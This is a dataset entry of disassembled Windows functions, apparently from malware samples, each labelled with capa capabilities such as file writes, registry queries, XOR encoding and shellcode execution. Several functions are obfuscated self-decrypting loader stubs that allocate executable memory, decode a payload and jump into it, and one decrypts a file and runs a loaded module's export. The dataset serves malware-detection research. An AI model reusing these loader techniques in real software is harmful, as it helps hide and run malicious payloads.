joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f16f1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x5191d8
cmp edx, dword [eax]
je 0x4f1713
add eax, 8
inc ecx
cmp eax, 0x519268
jl 0x4f1704
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x5191d8]
jne 0x4f1841
mov eax, dword [0x51a2bc]
cmp eax, 1
je 0x4f181b
test eax, eax
jne 0x4f1744
cmp dword [0x519128], 1
je 0x4f181b
cmp edx, 0xfc
je 0x4f1841
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4f177b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004f1ca0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004f1e10
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4f17be
lea eax, [ebp - 0x1a4]
push eax
call fcn.004f1e10
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x517570
push edi
call fcn.004f2aa0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004f1ca0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004f1cb0
lea eax, [ebp - 0xa0]
push 0x517550
push eax
call fcn.004f1cb0
push dword [esi + 0x5191dc]
lea eax, [ebp - 0xa0]
push eax
call fcn.004f1cb0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004f2a0e
add esp, 0x2c
pop edi
jmp 0x4f1841
lea eax, [ebp + 8]
lea esi, [esi + 0x5191dc]
push 0
push eax
push dword [esi]
call fcn.004f1e10
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x1014cf20
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x10
cmp dword [0x101de200], 0
je 0x1014cf73
mov eax, dword [0x101de1f0]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
sub esp, 4
test eax, eax
je 0x1014cf61
mov edx, dword [eax + 0x24]
xor ecx, ecx
test edx, edx
je 0x1014cf59
mov esi, dword [ebp + 8]
cmp dword [eax + 0x20], esi
jbe 0x1014cf59
mov ecx, dword [edx + esi*4]
mov eax, ecx
add esp, 0x10
pop esi
pop ebp
ret
movaps xmm0, xmmword [0x1019c190]
movups xmmword [esp], xmm0
call fcn.10072140
jmp 0x1014cf45
call fcn.100745f0
jmp 0x1014cf30

Function at 0x1014eb00
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov edi, edx
mov esi, ecx
mov ebx, dword [ebp + 8]
mov byte [ecx + 0x10], 1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push edx
push edx
push str.SELECT_1_FROM___w_.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d___Q___d_NULL
push ecx
call fcn.1001a670
add esp, 0x1c
test ebx, ebx
jne 0x1014eb41
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
push str.SELECT_1_FROM_temp.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1___Q___d_NULL
push esi
call fcn.1001a670
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x1014f350
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.1014f360

Function at 0x1014f360
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov eax, dword [0x101db014]
xor eax, ebp
mov dword [ebp - 8], eax
lea esi, [ebp - 0x2c]
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov esi, dword [esi + 0x1c]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1014dc80
mov eax, esi
add esp, 0x28
pop esi
pop ebp
ret
Function at 0x1015c720
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov edi, edx
mov dword [ebp - 0x20], ecx
mov ebx, dword [ebp + 8]
mov ecx, edx
call fcn.1000e2e0
cmp eax, 0x10
je 0x1015c837
mov esi, eax
test eax, eax
jne 0x1015c83e
xor esi, esi
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x110]
test eax, eax
jne 0x1015c83e
mov eax, dword [edi + 0x74]
cmp byte [eax + 8], 0
je 0x1015c7e0
movzx ecx, word [eax + 0x18]
add dword [ebp - 0x14], ecx
adc dword [ebp - 0x10], 0
movsx ecx, byte [edi + 0x44]
test ecx, ecx
je 0x1015c848
mov word [edi + 0x32], 0
and byte [edi + 1], 0xf9
movzx edx, word [edi + ecx*2 + 0x46]
mov word [edi + 0x46], dx
dec cl
mov byte [edi + 0x44], cl
movsx ecx, cl
mov ecx, dword [edi + ecx*4 + 0x78]
mov dword [edi + 0x74], ecx
mov ecx, dword [eax + 0x48]
call fcn.1014e440
movzx ecx, word [edi + 0x46]
mov eax, dword [edi + 0x74]
cmp cx, word [eax + 0x18]
jae 0x1015c780
inc ecx
mov word [edi + 0x46], cx
movzx ecx, word [edi + 0x46]
cmp cx, word [eax + 0x18]
jne 0x1015c7f3
mov ecx, dword [eax + 0x38]
movzx eax, byte [eax + 9]
add eax, ecx
add eax, 8
jmp 0x1015c818
cmp byte [eax + 2], 0
jne 0x1015c7c8
movzx ecx, word [eax + 0x18]
add dword [ebp - 0x14], ecx
adc dword [ebp - 0x10], 0
jmp 0x1015c7c8
mov dword [ebp - 0x1c], ebx
movzx ebx, word [eax + 0x1a]
mov edx, dword [eax + 0x38]
mov dword [ebp - 0x18], edx
mov eax, dword [eax + 0x40]
movzx eax, word [eax + ecx*2]
push eax
call sub.api_ms_win_crt_utility_l1_1_0.dll__byteswap_ushort
add esp, 4
and eax, ebx
mov ebx, dword [ebp - 0x1c]
add eax, dword [ebp - 0x18]
push dword [eax]
call sub.api_ms_win_crt_utility_l1_1_0.dll__byteswap_ulong
add esp, 4
mov ecx, edi
mov edx, eax
call fcn.1014e4c0
test eax, eax
je 0x1015c75b
mov esi, eax
jmp 0x1015c83e
xor esi, esi
mov dword [ebx + 4], esi
mov dword [ebx], esi
mov eax, esi
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x14]
mov dword [ebx], eax
mov eax, dword [ebp - 0x10]
mov dword [ebx + 4], eax
mov ecx, edi
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
jmp fcn.1000e2e0
Function at 0x4287df
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cmp dword [0x45aa24], 0
je 0x428816
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call main
add esp, 4
jmp 0x42882f
call main
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
call main
add esp, 4
jmp 0x42882f
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4484e7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x4484f6
pop dword [ebp - 0x14]
mov eax, 0xd5cd930d
add eax, 0x2a76f1e9
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x4d084
push 0
mov eax, 0xb180214e
add eax, 0x4ec6468a
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xf69f8a6f
add ecx, 0x960bb06
xor edi, edi
add edi, eax
mov edx, 0x48e000
add edx, dword [ebp - 0x14]
mov esi, 0xf4f4fdb1
add esi, 0x4fd646f7
mov dword [ebp - 0xc], 0x7bf21ede
mov ebx, dword [edx]
xor ebx, esi
xor dword [ebp - 8], 0xe0158243
mov dword [edi], ebx
xor dword [ebp - 0xc], ebx
add edi, 4
add edx, 4
loop 0x448551
add eax, 0x108a7
mov ebx, eax
add eax, 0xf4a33fac
add eax, 0xb5cc059
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x44c8c0
Capabilities:
Move file

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push eax
push ecx
call dword [sym.imp.kernel32.dll_MoveFileA]
test eax, eax
mov eax, 0
jne 0x44c8df
call dword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
je 0x44c8f2
push eax
call fcn.0044d700
add esp, 4
mov eax, 0xffffffff
ret
xor eax, eax
ret
Function at 0x40108e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edi, eax
mov dword [0x403168], eax
mov eax, eax
mov edi, edi
call sub.KERNEL32.DLL_GetCommandLineA
mov dword [0x40316c], eax
mov eax, dword [0x40316c]
cmp byte [eax], 0x22
jne 0x40102e
inc eax
mov byte [section..data], 1
mov edi, eax
mov edi, edi
cmp byte [section..data], 1
jne 0x401040
cmp byte [edi], 0x22
je 0x401056
cmp byte [edi], 0
je 0x40105a
cmp byte [section..data], 1
je 0x401053
cmp byte [edi], 0x20
je 0x401056
inc edi
jmp 0x401032
mov byte [edi], 0
inc edi
mov dword [0x403170], edi
mov dword [0x40316c], eax
mov dword [0x403174], 0xa
push dword [0x403170]
push dword [0x40316c]
push 0
push dword [0x403168]
call 0x40108e
push eax
call sub.KERNEL32.DLL_ExitProcess
push ebp
mov ebp, esp
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [0x40316c]
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
jne 0x4010d0
call sub.KERNEL32.DLL_GetLastError
push 0
push 0x4020d0
push str.Error_file_open
push 0
call sub.USER32.dll_MessageBoxA
jmp 0x401254
mov dword [0x403181], eax
push 0
push dword [0x403181]
call sub.KERNEL32.DLL_GetFileSize
mov dword [0x403189], eax
push pe_nt_image_headers32
push 0x1000
push dword [0x403189]
push 0
call sub.KERNEL32.DLL_VirtualAlloc
cmp eax, 0
jne 0x40111d
call sub.KERNEL32.DLL_GetLastError
push 0
push 0x4020d0
push str.Error_alloc
push 0
call sub.USER32.dll_MessageBoxA
jmp 0x401254
mov dword [0x403178], eax
push 0
push 0x40318d
push dword [0x403189]
push dword [0x403178]
push dword [0x403181]
call sub.KERNEL32.DLL_ReadFile
cmp eax, 0
jne 0x401162
call sub.KERNEL32.DLL_GetLastError
push 0
push 0x4020d0
push str.Error_readfile
push 0
call sub.USER32.dll_MessageBoxA
jmp 0x401254
mov eax, dword [0x403178]
mov ebx, 5
mov edx, dword [0x403189]
cmp byte [eax], 0x41
jne 0x40117c
dec ebx
je 0x40119d
jmp 0x401181
mov ebx, 5
inc eax
dec edx
jne 0x401172
push 0
push 0x4020d0
push str.Pattern_not_found_
push 0
call sub.USER32.dll_MessageBoxA
jmp 0x401254
inc eax
xor ebx, ebx
mov bl, byte [eax]
mov byte [0x403180], bl
inc eax
mov dword [0x40317c], eax
add eax, ebx
mov edx, dword [0x403178]
mov dword [0x403178], eax
sub eax, edx
mov ecx, dword [0x403189]
sub ecx, eax
mov eax, dword [0x403178]
mov dh, byte [0x403180]
mov ebx, dword [0x40317c]
or ecx, ecx
je 0x4011e9
mov dl, byte [eax]
xor dl, byte [ebx]
mov byte [eax], dl
inc eax
inc ebx
dec ecx
dec dh
je 0x4011ca
jmp 0x4011d6
push dword [0x403178]
call fcn.004012c4
or eax, eax
jne 0x40120d
push 0
push 0x4020d0
push str.Modul_load_failed_
push 0
call sub.USER32.dll_MessageBoxA
jmp 0x401254
mov dword [0x403185], eax
push str.fnDialerDll
push dword [0x403185]
call fcn.00401b49
or eax, eax
jne 0x401239
push 0
push 0x4020d0
push str.Function_not_found_
push 0
call sub.USER32.dll_MessageBoxA
mov ebx, dword [0x403170]
push ebx
mov ebx, dword [0x40316c]
push ebx
call eax
push dword [0x403185]
call fcn.00401c68
push dword [0x403181]
call sub.KERNEL32.DLL_CloseHandle
leave
ret 0x10
Function at 0x4015fc
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
xor ecx, ecx
mov cx, word [edx + 0x14]
lea edx, [eax + ecx + 0x18]
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], 0
jmp 0x40163f
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
add ecx, 0x28
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
xor ecx, ecx
mov cx, word [eax + 6]
cmp dword [ebp - 0x14], ecx
jge 0x4016f9
mov edx, dword [ebp - 8]
cmp dword [edx + 0x10], 0
jne 0x4016aa
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x38]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jle 0x4016a8
push 4
push 0x1000
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
xor eax, eax
mov edi, dword [ebp - 0xc]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x40162d
push 4
push 0x1000
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
add eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx + 0x10]
mov edx, dword [ebp - 8]
mov esi, dword [ebp + 8]
add esi, dword [edx + 0x14]
mov edi, dword [ebp - 0xc]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov dword [ecx + 8], edx
jmp 0x40162d
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4016ff
Capabilities:
Enumerate pe sections
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp + 8]
mov eax, dword [edx]
xor edx, edx
mov dx, word [eax + 0x14]
lea eax, [ecx + edx + 0x18]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x401737
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x28
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
xor edx, edx
mov dx, word [ecx + 6]
cmp dword [ebp - 8], edx
jge 0x401864
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x24]
and ecx, 0x20000000
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
and eax, 0x40000000
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x24]
and edx, 0x80000000
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x24]
and ecx, 0x2000000
test ecx, ecx
je 0x4017b7
push 0x4000
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x401725
mov eax, dword [ebp - 0x10]
shl eax, 4
mov ecx, dword [ebp - 0x20]
lea edx, [eax + ecx*8 + 0x403004]
mov eax, dword [ebp - 0xc]
mov ecx, dword [edx + eax*4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
and eax, 0x4000000
test eax, eax
je 0x4017e8
mov ecx, dword [ebp - 0x18]
or ch, 2
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40182c
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x24]
and edx, 0x40
test edx, edx
je 0x401811
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x20]
mov dword [ebp - 0x14], edx
jmp 0x40182c
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x24]
and ecx, 0x80
test ecx, ecx
je 0x40182c
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [eax + 0x24]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0
jbe 0x40185f
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
jne 0x40185f
push str.Error_protecting_memory_page
call fcn.00401502
add esp, 4
jmp 0x401725
mov esp, ebp
pop ebp
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x403e59
pop dword [ebp - 0x4c]
mov eax, 0x403e59
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xcca1af61
sub dword [ebp - 0x5c], 0x7e4f6a16
mov dword [ebp - 0x58], 0xfc0e58c
add dword [ebp - 0x58], 0x227266b9
mov dword [ebp - 0x54], 0xb3d8080b
sub dword [ebp - 0x54], 0x678bc3dd
mov dword [ebp - 0x50], 0xa37da76f
add dword [ebp - 0x50], 0x5c825891
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xc6bb5f6c
sub eax, 0xc67aef08
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xb3e0eb70
add dword [ebp - 0x5c], 0xc0917de6
mov dword [ebp - 0x58], 0x28f49d3f
sub dword [ebp - 0x58], 0xe7883bca
mov dword [ebp - 0x54], 0x36073a5c
add dword [ebp - 0x54], 0x2d683210
mov dword [ebp - 0x50], 0x1ee7014c
sub dword [ebp - 0x50], 0x1ee7014c
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0xac2e81b7
add eax, 0x5411eef1
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x381ed
push 0
call eax
mov ecx, 0x400abe75
add ecx, 0xbff58f09
mov edi, eax
mov edx, 0xeb6fb7c8
add edx, 0x14d14838
add edx, dword [ebp - 0x4c]
mov esi, 0x6c3795b5
sub esi, 0xa2611b43
xor dword [ebp - 0x34], ecx
mov ebx, dword [edx]
sub dword [ebp - 0x1c], 0x16ea4e9f
sub ebx, esi
xor dword [ebp - 0x20], eax
mov dword [edi], ebx
add edi, 0xadaa6e8d
add edi, 0x52559177
add edx, 0x42fd9066
add edx, 0xbd026f9e
loop 0x403f76
add eax, 0x5fdcb229
add eax, 0xa02476a2
mov ebx, eax
add eax, 0x6d930f3f
sub eax, 0x6d930f3a
mov ecx, 0xef7776cd
add ecx, 0x10c88933
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x40d04b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40d05a
pop dword [ebp - 0x38]
mov eax, 0x40d05a
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x1c2ab01a
add dword [ebp - 0x48], 0x32279531
mov dword [ebp - 0x44], 0xf17cdf52
sub dword [ebp - 0x44], 0xbf49930d
mov dword [ebp - 0x40], 0xbfb2d160
add dword [ebp - 0x40], 0x8c9972ce
mov dword [ebp - 0x3c], 0xa39918
sub dword [ebp - 0x3c], 0xa39918
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xce203b66
sub dword [ebp - 0x48], 0x59add210
mov dword [ebp - 0x44], 0x21194a
add dword [ebp - 0x44], 0x414b482b
mov dword [ebp - 0x40], 0xf376a8f
sub dword [ebp - 0x40], 0xabc7fe23
mov dword [ebp - 0x3c], 0x672bd9b9
add dword [ebp - 0x3c], 0x98d42647
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x39ddc
push 0
call eax
mov ecx, 0xf8be8d4a
add ecx, 0x741c35c
xor edi, edi
add edi, eax
mov ebx, 0x8d2bd278
sub ebx, 0x8ce9e278
add ebx, dword [ebp - 0x38]
mov esi, 0x2d2c7a4a
sub esi, 0xa6169553
sub dword [ebp - 0x24], edi
mov edx, dword [ebx]
xor dword [ebp - 0x30], ecx
xor edx, esi
mov dword [ebp - 0x34], 0x90071e4b
mov dword [edi], edx
xor dword [ebp - 0xc], edi
add edi, 4
add ebx, 4
loop 0x40d16f
add eax, 0xd456d3b5
sub eax, 0xd4559e4a
mov ebx, eax
add eax, 0xcfb5eb6
sub eax, 0xcfb5eb1
mov ecx, 0x5c8a29c2
add ecx, 0xa3b5d63e
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100062eb
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100062eb
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100062eb
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100062eb
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100062eb
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100062eb
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100062eb
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100062eb
push 0xd008
push edi
call fcn.100062eb
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100062eb
int3

Function at 0x100062eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x100062fa
pop dword [ebp - 8]
mov eax, 0x100062fa
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x39f28
push 0
mov eax, 0x7a4329f5
add eax, 0x95be166f
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0xc23b02fb
sub ecx, 0xc23ab748
mov edx, eax
mov edi, 0x7912d233
sub edi, 0x69114c33
add edi, dword [ebp - 8]
mov esi, 0xb79423f8
add esi, 0xe115bffd
xor dword [ebp - 4], ebx
mov ebx, dword [edi]
sub dword [ebp - 4], 0x2b6c0db0
add ebx, esi
xor dword [ebp - 4], ecx
mov dword [edx], ebx
add edx, 0xd412518b
add edx, 0x2bedae79
add edi, 0x9691bef9
sub edi, 0x9691bef5
loop 0x10006354
add eax, 0x95edd040
add eax, 0x6a13515f
xor ebx, ebx
add ebx, eax
add eax, 0x79895405
add eax, 0x8676ac00
mov ecx, 0x4d3709b5
sub ecx, 0x3d3709b5
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x4030cc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404658
test esi, esi
jne 0x403102
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404748
jmp 0x403120
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402fd0
mov edi, eax
test esi, esi
je 0x403120
cmp dword [ebx], 0
je 0x403120
dec esi
jmp 0x403109
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403154
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x41d008], 0x8088405
inc edx
mov dword [ebx + 0x41d008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4037dc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x41d024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403874
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x403854
xor eax, eax
push ebp
push 0x40384d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403890
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403854
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
movzx eax, word [0x41d024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x41d024], ax
mov esp, ebp
pop ebp
ret

Function at 0x4044d8
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x41e04c], 0
je 0x404539
cmp word [0x41e220], 0xd7b2
jne 0x404501
cmp dword [0x41e228], 0
jbe 0x404501
mov eax, 0x41e21c
call dword [0x41e238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404560
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
pop edx
ret
cmp byte [0x41d030], 0
jne 0x404555
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret